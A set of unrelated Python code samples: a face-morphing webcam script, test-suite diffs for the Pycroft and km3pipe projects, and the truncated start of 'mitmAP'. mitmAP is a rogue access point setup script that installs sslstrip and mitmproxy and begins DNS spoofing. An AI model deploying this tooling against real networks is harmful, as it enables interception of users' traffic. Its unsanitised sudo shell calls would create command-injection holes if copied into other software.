        # Temp: store dimensions here. We should really pickle 'em.
        self.eigen_w = 768
        self.eigen_h = 512

    def capture_image(self):
        # Get an image frame from the camera.
        status, frame = self.cam.read()

        frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
        coords = self.p.locate_face(frame)
        if coords == None:
            return frame

        cv2.rectangle(frame, (coords.x, coords.y), (coords.x+coords.w, coords.y+coords.h), 0, 2)

        face = self.p.extract_region(frame, coords)
        face = (face - 127.0) / 127.0
        face = face - face.mean()

        resized_face = cv2.resize(face, (self.config.eigen_w, self.config.eigen_h), interpolation = cv2.INTER_LINEAR)
        altered_face = self.current.project(resized_face)
        altered_face = cv2.resize(altered_face, face.shape, interpolation = cv2.INTER_LINEAR)
        gray_face = cv2.normalize(altered_face,altered_face,0,255,cv2.NORM_MINMAX).astype(np.uint8)
        #gray_face = ((altered_face+1.0)/2.0 * 255).astype(np.uint8)
        frame = self.p.insert_face(frame, gray_face, coords)

        return frame

    def loop(self):
        while True:
            face = self.capture_image()

            cv2.imshow("Video", face)

            # This is necessary or the image won't display!
            keyPressed = cv2.waitKey(1)

            # Switch from MTF to FTM, as necessary.
            if keyPressed == ord('f'):
                self.current = self.mtf_mirror
            if keyPressed == ord('m'):
                self.current = self.ftm_mirror

parser = argparse.ArgumentParser(description="Pixelqueer mirror")
parser.add_argument("brain", help="Path to brain file (created by cmd.py)")
args = parser.parse_args(sys.argv[1:])

# Create the frame and run forever within it.
frame = Frame(open(args.brain, "rb"))
frame.loop()
<|endoftext|>


<commit_before># Copyright (c) 2015 The Pycroft Authors. See the AUTHORS file.
# This file is part of the Pycroft project and licensed under the terms of
# the Apache License, Version 2.0. See the LICENSE file for details.
from itertools import chain
import re

from sqlalchemy import inspect
from ipaddr import IPv4Address
from sqlalchemy.exc import IntegrityError

from pycroft.lib.net import MacExistsException, get_free_ip
from pycroft.model import session, host, user, traffic
from pycroft.model.net import Subnet
from pycroft.model.types import InvalidMACAddressException
from tests import FixtureDataTestBase
from tests.fixtures.dummy.traffic import TrafficVolumeData
from tests.fixtures.dummy.facilities import BuildingData, RoomData
from tests.fixtures.dummy.host import IPData, UserHostData, UserInterfaceData
from tests.fixtures.dummy.net import SubnetData, VLANData
from tests.fixtures.dummy.user import UserData

class Test_010_InterfaceValidators(FixtureDataTestBase):
    datasets = [UserData, UserInterfaceData, UserHostData]
    mac_regex = re.compile(r"^[a-f0-9]{2}(:[a-f0-9]{2}){5}$")

    def assertSetMAC(self, interface, mac):
        parts = mac.split(":")
        if len(mac) != 17 or len(parts) != 6:
            with self.assertRaises(InvalidMACAddressException):
                interface.mac = mac
            return
        if self.mac_regex.match(mac) is None:
            with self.assertRaises(InvalidMACAddressException):
                interface.mac = mac
            return
        if int(parts[0], base=16) & 1:
            with self.assertRaises(InvalidMACAddressException):
                interface.mac = mac
            return
        interface.mac = mac

    def test_0010_mac_validate(self):

        interface = host.UserInterface(host=host.UserHost.q.first())

        # Try some bad macs
        self.assertSetMAC(interface, "ff:ff:ff:ff:ff")
        self.assertSetMAC(interface, "ff:ff:ff:ff:ff:ff")
        self.assertSetMAC(interface, "ff:asjfjsdaf:ff:ff:ff:ff")
        self.assertSetMAC(interface, "aj:00:ff:1f:ff:ff")
        self.assertSetMAC(interface, "ff:ff:ff:ff:ff:ff:ff")

        # Assert that we have no mac assigned
        session.session.add(interface)
        self.assertRaises(IntegrityError, session.session.commit)
        session.session.rollback()

        # Assert a correct mac
        self.assertSetMAC(interface, "00:00:00:00:00:00")

        # Assert that we have the mac assigned
        session.session.add(interface)
        session.session.commit()

        # Wipe the instance
        session.session.delete(interface)
        session.session.commit()

class Test_030_IpModel(FixtureDataTestBase):
    datasets = (BuildingData, RoomData, SubnetData, UserData, UserHostData,
                UserInterfaceData, VLANData)

    def test_0030_delete_address(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()
        ip, _ = get_free_ip((subnet, ))
        ip_addr = host.IP(interface=interface, address=ip, subnet=subnet)

        session.session.add(ip_addr)
        session.session.commit()

        with self.assertRaises(IntegrityError):
            ip_addr.address = None
            self.assertIsNone(ip_addr.address)
            session.session.commit()

    def test_0040_delete_subnet(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()
        ip, _ = get_free_ip((subnet, ))
        ip_addr = host.IP(interface=interface, address=ip, subnet=subnet)

        session.session.add(ip_addr)
        session.session.commit()

        with self.assertRaises(IntegrityError):
            ip_addr.subnet = None
            self.assertIsNone(ip_addr.subnet)
            session.session.commit()

class Test_040_IpEvents(FixtureDataTestBase):
    datasets = (BuildingData, VLANData, SubnetData, RoomData, UserData,
                UserHostData, UserInterfaceData)

    def test_0010_correct_subnet_and_ip(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()

        ip_address, _ = get_free_ip((subnet, ))

        ip = host.IP(interface=interface)
        ip.address = ip_address
        ip.subnet = subnet
        session.session.add(ip)
        session.session.commit()

        interface = host.Interface.q.first()
        ip_address, _ = get_free_ip((subnet, ))
        ip = host.IP(address=ip_address, subnet=subnet, interface=interface)
        session.session.add(ip)
        session.session.commit()

        host.IP.q.filter(host.IP.interface == interface).delete()
        session.session.commit()

    def test_0020_missing_subnet(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()

        ip_address, _ = get_free_ip((subnet, ))
        ip = host.IP(interface=interface)
        ip.address = ip_address

        def commit():
            session.session.add(ip)
            session.session.commit()
        self.assertRaises(IntegrityError, commit)

    def test_0030_missing_ip(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()

        ip = host.IP(interface=interface)
        ip.subnet = subnet

        def commit():
            session.session.add(ip)
            session.session.commit()
        self.assertRaises(IntegrityError, commit)

    def test_0040_wrong_subnet(self):
        subnets = Subnet.q.all()
        interface = host.Interface.q.first()
        ip_address, _ = get_free_ip((subnets[0], ))

        ip = host.IP(interface=interface, address=ip_address)

        with self.assertRaises(ValueError):
            ip.subnet = subnets[1]

        ip = host.IP(interface=interface, subnet=subnets[1])

        with self.assertRaises(ValueError):
            ip.address = ip_address

        with self.assertRaises(ValueError):
            host.IP(interface=interface, subnet=subnets[1], address=ip_address)

class Test_060_Cascades(FixtureDataTestBase):
    datasets = (SubnetData, UserData, UserHostData, UserInterfaceData, IPData,
                TrafficVolumeData)

    def test_0010_cascade_on_delete_ip(self):
        test_ip = host.IP.q.filter_by(
            address=IPData.dummy_user_ipv4.address).one()
        session.session.delete(test_ip)
        session.session.commit()
        self.assertIsNone(traffic.TrafficVolume.q.first())

    def test_0010_cascade_on_delete_interface(self):
        test_interface = host.Interface.q.filter_by(
            mac=UserInterfaceData.dummy.mac).one()
        ips = test_interface.ips
        traffic_volumes = tuple(chain(*(ip.traffic_volumes for ip in ips)))
        session.session.delete(test_interface)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted
                            for o in chain(ips, traffic_volumes)))

    def test_0010_cascade_on_delete_host(self):
        test_host = host.UserHost.q.first()
        interfaces = test_host.user_interfaces
        ips = tuple(chain(*(d.ips for d in interfaces)))
        traffic_volumes = tuple(chain(*(ip.traffic_volumes for ip in ips)))
        session.session.delete(test_host)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted)
                        for o in chain(interfaces, ips, traffic_volumes))

    def test_0010_cascade_on_delete_user(self):
        test_user = user.User.q.filter_by(login=UserData.dummy.login).one()
        hosts = test_user.user_hosts
        interfaces = tuple(chain(*(h.user_interfaces for h in hosts)))
        ips = tuple(chain(*(d.ips for d in interfaces)))
        traffic_volumes = tuple(chain(*(ip.traffic_volumes for ip in ips)))
        session.session.delete(test_user)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted)
                        for o in chain(hosts, interfaces, ips, traffic_volumes))

<commit_msg>Fix erroneous simplicity of host cascade test<commit_after># Copyright (c) 2015 The Pycroft Authors. See the AUTHORS file.
# This file is part of the Pycroft project and licensed under the terms of
# the Apache License, Version 2.0. See the LICENSE file for details.
from itertools import chain
import re

from sqlalchemy import inspect
from ipaddr import IPv4Address
from sqlalchemy.exc import IntegrityError

from pycroft.lib.net import MacExistsException, get_free_ip
from pycroft.model import session, host, user
from pycroft.model.net import Subnet
from pycroft.model.types import InvalidMACAddressException
from tests import FixtureDataTestBase
from tests.fixtures.dummy.traffic import TrafficVolumeData
from tests.fixtures.dummy.facilities import BuildingData, RoomData
from tests.fixtures.dummy.host import IPData, UserHostData, UserInterfaceData
from tests.fixtures.dummy.net import SubnetData, VLANData
from tests.fixtures.dummy.user import UserData

class Test_010_InterfaceValidators(FixtureDataTestBase):
    datasets = [UserData, UserInterfaceData, UserHostData]
    mac_regex = re.compile(r"^[a-f0-9]{2}(:[a-f0-9]{2}){5}$")

    def assertSetMAC(self, interface, mac):
        parts = mac.split(":")
        if len(mac) != 17 or len(parts) != 6:
            with self.assertRaises(InvalidMACAddressException):
                interface.mac = mac
            return
        if self.mac_regex.match(mac) is None:
            with self.assertRaises(InvalidMACAddressException):
                interface.mac = mac
            return
        if int(parts[0], base=16) & 1:
            with self.assertRaises(InvalidMACAddressException):
                interface.mac = mac
            return
        interface.mac = mac

    def test_0010_mac_validate(self):

        interface = host.UserInterface(host=host.UserHost.q.first())

        # Try some bad macs
        self.assertSetMAC(interface, "ff:ff:ff:ff:ff")
        self.assertSetMAC(interface, "ff:ff:ff:ff:ff:ff")
        self.assertSetMAC(interface, "ff:asjfjsdaf:ff:ff:ff:ff")
        self.assertSetMAC(interface, "aj:00:ff:1f:ff:ff")
        self.assertSetMAC(interface, "ff:ff:ff:ff:ff:ff:ff")

        # Assert that we have no mac assigned
        session.session.add(interface)
        self.assertRaises(IntegrityError, session.session.commit)
        session.session.rollback()

        # Assert a correct mac
        self.assertSetMAC(interface, "00:00:00:00:00:00")

        # Assert that we have the mac assigned
        session.session.add(interface)
        session.session.commit()

        # Wipe the instance
        session.session.delete(interface)
        session.session.commit()

class Test_030_IpModel(FixtureDataTestBase):
    datasets = (BuildingData, RoomData, SubnetData, UserData, UserHostData,
                UserInterfaceData, VLANData)

    def test_0030_delete_address(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()
        ip, _ = get_free_ip((subnet, ))
        ip_addr = host.IP(interface=interface, address=ip, subnet=subnet)

        session.session.add(ip_addr)
        session.session.commit()

        with self.assertRaises(IntegrityError):
            ip_addr.address = None
            self.assertIsNone(ip_addr.address)
            session.session.commit()

    def test_0040_delete_subnet(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()
        ip, _ = get_free_ip((subnet, ))
        ip_addr = host.IP(interface=interface, address=ip, subnet=subnet)

        session.session.add(ip_addr)
        session.session.commit()

        with self.assertRaises(IntegrityError):
            ip_addr.subnet = None
            self.assertIsNone(ip_addr.subnet)
            session.session.commit()

class Test_040_IpEvents(FixtureDataTestBase):
    datasets = (BuildingData, VLANData, SubnetData, RoomData, UserData,
                UserHostData, UserInterfaceData)

    def test_0010_correct_subnet_and_ip(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()

        ip_address, _ = get_free_ip((subnet, ))

        ip = host.IP(interface=interface)
        ip.address = ip_address
        ip.subnet = subnet
        session.session.add(ip)
        session.session.commit()

        interface = host.Interface.q.first()
        ip_address, _ = get_free_ip((subnet, ))
        ip = host.IP(address=ip_address, subnet=subnet, interface=interface)
        session.session.add(ip)
        session.session.commit()

        host.IP.q.filter(host.IP.interface == interface).delete()
        session.session.commit()

    def test_0020_missing_subnet(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()

        ip_address, _ = get_free_ip((subnet, ))
        ip = host.IP(interface=interface)
        ip.address = ip_address

        def commit():
            session.session.add(ip)
            session.session.commit()
        self.assertRaises(IntegrityError, commit)

    def test_0030_missing_ip(self):
        subnet = Subnet.q.first()
        interface = host.Interface.q.first()

        ip = host.IP(interface=interface)
        ip.subnet = subnet

        def commit():
            session.session.add(ip)
            session.session.commit()
        self.assertRaises(IntegrityError, commit)

    def test_0040_wrong_subnet(self):
        subnets = Subnet.q.all()
        interface = host.Interface.q.first()
        ip_address, _ = get_free_ip((subnets[0], ))

        ip = host.IP(interface=interface, address=ip_address)

        with self.assertRaises(ValueError):
            ip.subnet = subnets[1]

        ip = host.IP(interface=interface, subnet=subnets[1])

        with self.assertRaises(ValueError):
            ip.address = ip_address

        with self.assertRaises(ValueError):
            host.IP(interface=interface, subnet=subnets[1], address=ip_address)

class Test_060_Cascades(FixtureDataTestBase):
    datasets = (SubnetData, UserData, UserHostData, UserInterfaceData, IPData,
                TrafficVolumeData)

    def test_0010_cascade_on_delete_ip(self):
        test_ip = host.IP.q.filter_by(
            address=IPData.dummy_user_ipv4.address).one()
        tv_of_test_ip = test_ip.traffic_volumes
        session.session.delete(test_ip)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted
                            for o in tv_of_test_ip))

    def test_0010_cascade_on_delete_interface(self):
        test_interface = host.Interface.q.filter_by(
            mac=UserInterfaceData.dummy.mac).one()
        ips = test_interface.ips
        traffic_volumes = tuple(chain(*(ip.traffic_volumes for ip in ips)))
        session.session.delete(test_interface)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted
                            for o in chain(ips, traffic_volumes)))

    def test_0010_cascade_on_delete_host(self):
        test_host = host.UserHost.q.first()
        interfaces = test_host.user_interfaces
        ips = tuple(chain(*(d.ips for d in interfaces)))
        traffic_volumes = tuple(chain(*(ip.traffic_volumes for ip in ips)))
        session.session.delete(test_host)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted)
                        for o in chain(interfaces, ips, traffic_volumes))

    def test_0010_cascade_on_delete_user(self):
        test_user = user.User.q.filter_by(login=UserData.dummy.login).one()
        hosts = test_user.user_hosts
        interfaces = tuple(chain(*(h.user_interfaces for h in hosts)))
        ips = tuple(chain(*(d.ips for d in interfaces)))
        traffic_volumes = tuple(chain(*(ip.traffic_volumes for ip in ips)))
        session.session.delete(test_user)
        session.session.commit()
        self.assertTrue(all(inspect(o).deleted)
                        for o in chain(hosts, interfaces, ips, traffic_volumes))

<|endoftext|>


<commit_before>#!/usr/bin/env python
"""Tests for HDF5 stuff"""
import tempfile
from os.path import join, dirname

import numpy as np
import tables as tb

from km3pipe import Blob, Pipeline, Pump
from km3pipe.dataclasses import Table
from km3pipe.io import HDF5Pump, HDF5Sink   # noqa
from km3pipe.tools import insert_prefix_to_dtype
from km3pipe.testing import TestCase

DATA_DIR = join(dirname(__file__), '../../kp-data/test_data/')

class TestMultiTable(TestCase):
    def setUp(self):
        self.foo = np.array([
            (1.0, 2.0, 3.0),
            (4.0, 5.0, 6.0),
        ], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8'), ])
        self.bar = np.array([
            (10.0, 20.0, 30.0),
            (40.0, 50.0, 60.0),
        ], dtype=[('aa', '<f8'), ('bb', '<f8'), ('cc', '<f8'), ])
        self.tabs = {'foo': self.foo, 'bar': self.bar}
        self.where = '/lala'
        self.fobj = tempfile.NamedTemporaryFile(delete=True)
        self.h5name = self.fobj.name
        self.h5file = tb.open_file(
            # create the file in memory only
            self.h5name, 'w', driver="H5FD_CORE", driver_core_backing_store=0)
        for name, tab in self.tabs.items():
            self.h5file.create_table(self.where, name=name, obj=tab,
                                     createparents=True)

    def tearDown(self):
        self.h5file.close()
        self.fobj.close()

    def test_name_insert(self):
        exp_foo = ('foo_a', 'foo_b', 'foo_c')
        exp_bar = ('bar_aa', 'bar_bb', 'bar_cc')
        pref_foo = insert_prefix_to_dtype(self.tabs['foo'], 'foo')
        pref_bar = insert_prefix_to_dtype(self.tabs['bar'], 'bar')
        self.assertEqual(exp_foo, pref_foo.dtype.names)
        self.assertEqual(exp_bar, pref_bar.dtype.names)

    # def test_group_read(self):
    #    tabs = read_group(self.h5file.root)
    #    exp_cols = (
    #        'bar_aa', 'bar_bb', 'bar_cc',
    #        'foo_a', 'foo_b', 'foo_c',
    #    )
    #    exp_shape = (2, 6)
    #    res_shape = tabs.shape
    #    res_cols = tuple(tabs.columns)
    #    print(exp_cols)
    #    print(res_cols)
    #    self.assertEqual(exp_shape, res_shape)
    #    self.assertEqual(exp_cols, res_cols)

class TestH5Pump(TestCase):
    def setUp(self):
        self.fname = join(DATA_DIR,  'numu_cc_test.h5')

    def test_init_sets_filename_if_no_keyword_arg_is_passed(self):
        p = HDF5Pump(self.fname)
        self.assertEqual(self.fname, p.filename)
        p.finish()

    def test_context(self):
        with HDF5Pump(self.fname) as h5:
            self.assertEqual(self.fname, h5.filename)
            assert h5[0] is not None
            for blob in h5:
                assert blob is not None
                break

    def test_standalone(self):
        pump = HDF5Pump(filename=self.fname)
        next(pump)
        pump.finish()

    def test_pipe(self):
        p = Pipeline()
        p.attach(HDF5Pump, filename=self.fname)
        p.drain()

class TestH5Sink(TestCase):
    def setUp(self):
        self.fname = join(DATA_DIR, 'numu_cc_test.h5')
        self.fobj = tempfile.NamedTemporaryFile(delete=True)
        self.out = tb.open_file(self.fobj.name, "w", driver="H5FD_CORE",
                                driver_core_backing_store=0)

    def tearDown(self):
        self.out.close()
        self.fobj.close()

    # def test_init_has_to_be_explicit(self):
    #     with self.assertRaises(TypeError):
    #         HDF5Sink(self.out)

    def test_pipe(self):
        p = Pipeline()
        p.attach(HDF5Pump, filename=self.fname)
        p.attach(HDF5Sink, h5file=self.out)
        p.drain()

class TestH5SinkConsistency(TestCase):
    def test_h5_consistency_for_tables_without_group_id(self):
        fobj = tempfile.NamedTemporaryFile(delete=True)
        fname = fobj.name

        class DummyPump(Pump):
            def configure(self):
                self.count = 0

            def process(self, blob):
                self.count += 10
                tab = Table({'a': self.count, 'b': 1}, h5loc='tab')
                return Blob({'tab': tab})

        pipe = Pipeline()
        pipe.attach(DummyPump)
        pipe.attach(HDF5Sink, filename=fname)
        pipe.drain(5)

        with tb.File(fname) as f:
            a = f.get_node("/tab")[:]['a']
            b = f.get_node("/tab")[:]['b']
            group_id = f.get_node("/tab")[:]['group_id']
        assert np.allclose([10, 20, 30, 40, 50], a)
        assert np.allclose([1, 1, 1, 1, 1], b)
        assert np.allclose([0, 1, 2, 3, 4], group_id)
        fobj.close()

    def test_h5_consistency_for_tables_with_custom_group_id(self):
        fobj = tempfile.NamedTemporaryFile(delete=True)
        fname = fobj.name

        class DummyPump(Pump):
            def process(self, blob):
                tab = Table({'group_id': 2}, h5loc='tab')
                return Blob({'tab': tab})

        pipe = Pipeline()
        pipe.attach(DummyPump)
        pipe.attach(HDF5Sink, filename=fname)
        pipe.drain(5)

        with tb.File(fname) as f:
            group_id = f.get_node("/tab")[:]['group_id']

        assert np.allclose([2, 2, 2, 2, 2], group_id)

        fobj.close()
<commit_msg>Test hdf5 read with groups<commit_after>#!/usr/bin/env python
"""Tests for HDF5 stuff"""
import tempfile
from os.path import join, dirname

import numpy as np
import tables as tb

from km3pipe import Blob, Module, Pipeline, Pump
from km3pipe.dataclasses import Table
from km3pipe.io import HDF5Pump, HDF5Sink   # noqa
from km3pipe.tools import insert_prefix_to_dtype
from km3pipe.testing import TestCase

DATA_DIR = join(dirname(__file__), '../../kp-data/test_data/')

class TestMultiTable(TestCase):
    def setUp(self):
        self.foo = np.array([
            (1.0, 2.0, 3.0),
            (4.0, 5.0, 6.0),
        ], dtype=[('a', '<f8'), ('b', '<f8'), ('c', '<f8'), ])
        self.bar = np.array([
            (10.0, 20.0, 30.0),
            (40.0, 50.0, 60.0),
        ], dtype=[('aa', '<f8'), ('bb', '<f8'), ('cc', '<f8'), ])
        self.tabs = {'foo': self.foo, 'bar': self.bar}
        self.where = '/lala'
        self.fobj = tempfile.NamedTemporaryFile(delete=True)
        self.h5name = self.fobj.name
        self.h5file = tb.open_file(
            # create the file in memory only
            self.h5name, 'w', driver="H5FD_CORE", driver_core_backing_store=0)
        for name, tab in self.tabs.items():
            self.h5file.create_table(self.where, name=name, obj=tab,
                                     createparents=True)

    def tearDown(self):
        self.h5file.close()
        self.fobj.close()

    def test_name_insert(self):
        exp_foo = ('foo_a', 'foo_b', 'foo_c')
        exp_bar = ('bar_aa', 'bar_bb', 'bar_cc')
        pref_foo = insert_prefix_to_dtype(self.tabs['foo'], 'foo')
        pref_bar = insert_prefix_to_dtype(self.tabs['bar'], 'bar')
        self.assertEqual(exp_foo, pref_foo.dtype.names)
        self.assertEqual(exp_bar, pref_bar.dtype.names)

    # def test_group_read(self):
    #    tabs = read_group(self.h5file.root)
    #    exp_cols = (
    #        'bar_aa', 'bar_bb', 'bar_cc',
    #        'foo_a', 'foo_b', 'foo_c',
    #    )
    #    exp_shape = (2, 6)
    #    res_shape = tabs.shape
    #    res_cols = tuple(tabs.columns)
    #    print(exp_cols)
    #    print(res_cols)
    #    self.assertEqual(exp_shape, res_shape)
    #    self.assertEqual(exp_cols, res_cols)

class TestH5Pump(TestCase):
    def setUp(self):
        self.fname = join(DATA_DIR,  'numu_cc_test.h5')

    def test_init_sets_filename_if_no_keyword_arg_is_passed(self):
        p = HDF5Pump(self.fname)
        self.assertEqual(self.fname, p.filename)
        p.finish()

    def test_context(self):
        with HDF5Pump(self.fname) as h5:
            self.assertEqual(self.fname, h5.filename)
            assert h5[0] is not None
            for blob in h5:
                assert blob is not None
                break

    def test_standalone(self):
        pump = HDF5Pump(filename=self.fname)
        next(pump)
        pump.finish()

    def test_pipe(self):
        p = Pipeline()
        p.attach(HDF5Pump, filename=self.fname)
        p.drain()

class TestH5Sink(TestCase):
    def setUp(self):
        self.fname = join(DATA_DIR, 'numu_cc_test.h5')
        self.fobj = tempfile.NamedTemporaryFile(delete=True)
        self.out = tb.open_file(self.fobj.name, "w", driver="H5FD_CORE",
                                driver_core_backing_store=0)

    def tearDown(self):
        self.out.close()
        self.fobj.close()

    # def test_init_has_to_be_explicit(self):
    #     with self.assertRaises(TypeError):
    #         HDF5Sink(self.out)

    def test_pipe(self):
        p = Pipeline()
        p.attach(HDF5Pump, filename=self.fname)
        p.attach(HDF5Sink, h5file=self.out)
        p.drain()

class TestH5SinkConsistency(TestCase):
    def test_h5_consistency_for_tables_without_group_id(self):
        fobj = tempfile.NamedTemporaryFile(delete=True)
        fname = fobj.name

        class DummyPump(Pump):
            def configure(self):
                self.count = 0

            def process(self, blob):
                self.count += 10
                tab = Table({'a': self.count, 'b': 1}, h5loc='tab')
                return Blob({'tab': tab})

        pipe = Pipeline()
        pipe.attach(DummyPump)
        pipe.attach(HDF5Sink, filename=fname)
        pipe.drain(5)

        with tb.File(fname) as f:
            a = f.get_node("/tab")[:]['a']
            b = f.get_node("/tab")[:]['b']
            group_id = f.get_node("/tab")[:]['group_id']
        assert np.allclose([10, 20, 30, 40, 50], a)
        assert np.allclose([1, 1, 1, 1, 1], b)
        assert np.allclose([0, 1, 2, 3, 4], group_id)
        fobj.close()

    def test_h5_consistency_for_tables_with_custom_group_id(self):
        fobj = tempfile.NamedTemporaryFile(delete=True)
        fname = fobj.name

        class DummyPump(Pump):
            def process(self, blob):
                tab = Table({'group_id': 2}, h5loc='tab')
                return Blob({'tab': tab})

        pipe = Pipeline()
        pipe.attach(DummyPump)
        pipe.attach(HDF5Sink, filename=fname)
        pipe.drain(5)

        with tb.File(fname) as f:
            group_id = f.get_node("/tab")[:]['group_id']

        assert np.allclose([2, 2, 2, 2, 2], group_id)

        fobj.close()

class TestHDF5PumpConsistency(TestCase):
    def test_hdf5_readout(self):
        fobj = tempfile.NamedTemporaryFile(delete=True)
        fname = fobj.name

        class DummyPump(Pump):
            def configure(self):
                self.count = 0

            def process(self, blob):
                self.count += 1
                ei = Table({'group_id': self.count}, h5loc='event_info')
                tab = Table({'a': self.count * 10,
                             'b': 1,
                             'group_id': self.count},
                             h5loc='tab')
                tab2 = Table({'a': np.arange(self.count),
                              'group_id': self.count},
                             h5loc='tab2')
                blob = Blob({'event_info': ei, 'tab': tab, 'tab2': tab2})
                return blob

        pipe = Pipeline()
        pipe.attach(DummyPump)
        pipe.attach(HDF5Sink, filename=fname)
        pipe.drain(5)

        class BlobTester(Module):

            def configure(self):
                self.index = 0

            def process(self, blob):
                self.index += 1
                assert 'EventInfo' in blob
                assert 'Tab' in blob
                assert self.index == blob['EventInfo'].group_id
                assert self.index * 10 == blob['Tab']['a']
                assert 1 == blob['Tab']['b'] == 1
                assert np.allclose(np.arange(self.index), blob['Tab2']['a'])
                return blob

        pipe = Pipeline()
        pipe.attach(HDF5Pump, filename=fname)
        pipe.attach(BlobTester)
        pipe.drain()

        fobj.close()
<|endoftext|>


<commit_before>import os
import time

print("           _ _              ___  ______ \n" +
      "          (_) |            / _ \ | ___ \\\n" +
      " _ __ ___  _| |_ _ __ ___ / /_\ \| |_/ /\n" +
      "| '_ ` _ \| | __| '_ ` _ \|  _  ||  __/ \n" +
      "| | | | | | | |_| | | | | | | | || |    \n" +
      "|_| |_| |_|_|\__|_| |_| |_\_| |_/\_| 1.1\n" +
      "                            by @xdavidhu\n")

update = input("[?] Install/Update dependencies? Y/n: ")
update = update.lower()
if update == "y" or update == "":
    print("[I] Checking/Installing dependencies, please wait...")
    os.system("sudo apt-get update > /dev/null 2>&1")
    os.system("sudo apt-get install dnsmasq -y > /dev/null 2>&1")
    os.system("sudo apt-get install wireshark -y > /dev/null 2>&1")
    os.system("sudo apt-get install mitmproxy -y > /dev/null 2>&1")
    os.system("sudo apt-get install hostapd -y > /dev/null 2>&1")
    os.system("sudo apt-get install screen -y > /dev/null 2>&1")
    os.system("sudo apt-get install wondershaper -y > /dev/null 2>&1")
    os.system("sudo apt-get install sslstrip -y > /dev/null 2>&1")
ap_iface = input("[?] Please enter the name of your wireless interface (for the AP): ")
net_iface = input("[?] Please enter the name of your internet connected interface: ")
network_manager_cfg = "[main]\nplugins=keyfile\n\n[keyfile]\nunmanaged-devices=interface-name:" + ap_iface
print("[I] Backing up NetworkManager.cfg...")
os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
print("[I] Editing NetworkManager.cfg...")
os.system("sudo echo -e '" + network_manager_cfg + "' > /etc/NetworkManager/NetworkManager.conf")
print("[I] Restarting NetworkManager...")
os.system("sudo service network-manager restart")
os.system("sudo ifconfig " + ap_iface + " up")
dnsmasq_config = input("[?] Create new DNSMASQ config file at '/etc/dnsmasq.conf' Y/n: ")
dnsmasq_config = dnsmasq_config.lower()
if dnsmasq_config == "y" or dnsmasq_config == "":
    dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers\nno-resolv\n# Interface to bind to\ninterface=" + ap_iface + "\n#Specify starting_range,end_range,lease_time\ndhcp-range=10.0.0.3,10.0.0.20,12h\n# dns addresses to send to the clients\nserver=8.8.8.8\nserver=8.8.4.4"
    print("[I] Deleting old config file...")
    os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
    print("[I] Writing config file...")
    os.system("sudo echo -e '" + dnsmasq_file + "' > /etc/dnsmasq.conf")
else:
    print("[I] Skipping..")
hostapd_config = input("[?] Create new HOSTAPD config file at '/etc/hostapd/hostapd.conf' Y/n: ")
hostapd_config = hostapd_config.lower()
if hostapd_config == "y" or hostapd_config == "":
    ssid = input("[?] Please enter the SSID for the AP: ")
    channel = input("[?] Please enter the channel for the AP: ")
    hostapd_wpa = input("[?] Enable WPA2 encryption? y/N: ")
    hostapd_wpa = hostapd_wpa.lower()
    if hostapd_wpa == "y":
        wpa_passphrase = input("[?] Please enter the WPA2 passphrase for the AP: ")
        hostapd_file_wpa = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0\nwpa=2\nwpa_passphrase=" + wpa_passphrase + "\nwpa_key_mgmt=WPA-PSK\nwpa_pairwise=TKIP\nrsn_pairwise=CCMP"
        print("[I] Deleting old config file...")
        os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
        print("[I] Writing config file...")
        os.system("sudo echo -e '" + hostapd_file_wpa + "' > /etc/hostapd/hostapd.conf")
    else:
        hostapd_file = "interface=" + ap_iface + "\ndriver=nl80211\nssid=" + ssid + "\nhw_mode=g\nchannel=" + channel + "\nmacaddr_acl=0\nauth_algs=1\nignore_broadcast_ssid=0"
        print("[I] Deleting old config file...")
        os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
        print("[I] Writing config file...")
        os.system("sudo echo -e '" + hostapd_file + "' > /etc/hostapd/hostapd.conf")
else:
    print("[I] Skipping..")
print("[I] Configuring AP interface...")
os.system("sudo ifconfig " + ap_iface + " up 10.0.0.1 netmask 255.255.255.0")
print("[I] Applying iptables rules...")
os.system("sudo iptables --flush")
os.system("sudo iptables --table nat --flush")
os.system("sudo iptables --delete-chain")
os.system("sudo iptables --table nat --delete-chain")
os.system("sudo iptables --table nat --append POSTROUTING --out-interface " + net_iface + " -j MASQUERADE")
os.system("sudo iptables --append FORWARD --in-interface " + ap_iface + " -j ACCEPT")
speed_if = input("[?] Set speed limit for the clients? Y/n: ")
speed_if = speed_if.lower()
if speed_if == "y" or speed_if == "":
    while True:
        speed_down = input("[?] Download speed limit (in KB/s): ")
        if speed_down.isdigit():
            break
        else:
            print("[!] Please enter a number.")
    while True:
        speed_up = input("[?] Upload speed limit (in KB/s): ")
        if speed_up.isdigit():
            break
        else:
            print("[!] Please enter a number.")
    print("[I] Setting speed limit on " + ap_iface + "...")
    os.system("sudo wondershaper " + ap_iface + " " + speed_up + " " + speed_down)
else:
    print("[I] Skipping...")
dns_if = input("[?] Spoof DNS? Y/n: ")
dns_if = dns_if.lower()
if dns_if == "y" or dns_if == "":
    while True:
        dns_num = input("[?] How many domains do you want to spoof?: ")
        if dns_num.isdigit():
            break
        else:
            print("[!] Please enter a number.")
    print("[I] Backing up /etc/dnsmasq.conf...")
